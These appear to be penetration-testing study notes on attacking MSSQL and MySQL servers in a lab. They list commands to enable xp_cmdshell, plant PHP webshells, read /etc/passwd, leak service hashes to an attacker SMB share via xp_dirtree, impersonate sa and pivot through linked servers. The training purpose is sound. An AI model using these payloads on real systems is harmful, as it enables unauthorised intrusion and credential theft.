Enumeration
By default, MSSQL uses ports TCP/1433 and UDP/1434, and MySQL uses TCP/3306
However, when MSSQL operates in a “hidden” mode, it uses the TCP/2433 port. We can use Nmap’s default scripts -sC option to enumerate database services on a target system:
nmap -Pn -sV -sC -p1433 10.10.10.125Authentication Mechanisms
| Authentication Type | Description |
|---|---|
Windows authentication mode | This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials. |
Mixed mode | Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server. |
Protocol Specific Attacks
Windows
Sqlcmd - Connecting to the SQL Server
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30: When we authenticate to MSSQL using sqlcmd we can use the parameters -y (SQLCMDMAXVARTYPEWIDTH) and -Y (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.
Linux
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -hImpacket
mssqlclient.py -p 1433 julio@10.129.203.7 If we don’t specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication
If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -hSQL Default Databases
MySQL default system schemas/databases:
mysql- is the system database that contains tables that store information required by the MySQL serverinformation_schema- provides access to database metadataperformance_schema- is a feature for monitoring MySQL Server execution at a low levelsys- a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
If we use sqlcmd, we will need to use GO after our query to execute the SQL syntax.
Execute Commands
MSSQL has a extended stored procedures called xp_cmdshell which allow us to execute system commands using SQL. Keep in mind the following about xp_cmdshell:
xp_cmdshellis a powerful feature and disabled by default.xp_cmdshellcan be enabled and disabled by using the Policy-Based Management or by executing sp_configure- The Windows process spawned by
xp_cmdshellhas the same security rights as the SQL Server service account xp_cmdshelloperates synchronously. Control is not returned to the caller until the command-shell command is completed
xp_cmdshell 'whoami'GO-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GOThere are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts. However, besides those methods there are also additional functionalities that can be used like the xp_regwrite command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module.
MySQL supports User Defined Functions which allows us to execute C/C++ code as a function within SQL, there’s one User Defined Function for command execution in this GitHub repository. It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.
Write Local Files
MySQL does not have a stored procedure like xp_cmdshell, but we can achieve command execution if we write to a location in the file system that can execute our commands. For example, suppose MySQL operates on a PHP-based web server or other programming languages like ASP.NET. If we have the appropriate privileges, we can attempt to write a file using SELECT INTO OUTFILE in the webserver directory. Then we can browse to the location where the file is and execute our commands.
MySQL - Write Local File
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';In MySQL, a global system variable secure_file_priv limits the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function. These operations are permitted only to users who have the FILE privilege.
secure_file_priv may be set as follows:
- If empty, the variable has no effect, which is not a secure setting.
- If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
- If set to NULL, the server disables import and export operations.
MySQL - Secure File Privileges
show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:
MSSQL - Enable Ole Automation Procedures
sp_configure 'show advanced options', 1GORECONFIGUREsp_configure 'Ole Automation Procedures', 1RECONFIGUREMSSQL - Create a File
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GORead Local Files
Read Local Files in MSSQL
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents GOMySQL - Read Local Files in MySQL
select LOAD_FILE("/etc/passwd");Capture MSSQL Service Hash
To make this work, we need first to start Responder or impacket-smbserver and execute one of the following SQL queries:
XP_DIRTREE Hash Stealing
EXEC master..xp_dirtree '\\10.10.110.17\share\'XP_SUBDIRS Hash Stealing
EXEC master..xp_subdirs '\\10.10.110.17\share\'XP_SUBDIRS Hash Stealing with Responder
sudo responder -I tun0sudo impacket-smbserver share ./ -smb2supportImpersonate Existing Users with MSSQL
Identify Users that We Can Impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GOVerifying our Current User and Role
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user.
Impersonating the SA User
EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') GOWe can now execute any command as a sysadmin as the returned value 1 indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT.
It’s recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn’t have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master.
Communicate with Other Databases with MSSQL
MSSQL has a configuration option called linked servers.
SELECT srvname, isremote FROM sysserversAs we can see in the query’s output, we have the name of the server and the column isremote, where 1 means is a remote server, and 0 is a linked server. We can see sysservers Transact-SQL for more information.
we can attempt to identify the user used for the connection and its privileges. The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).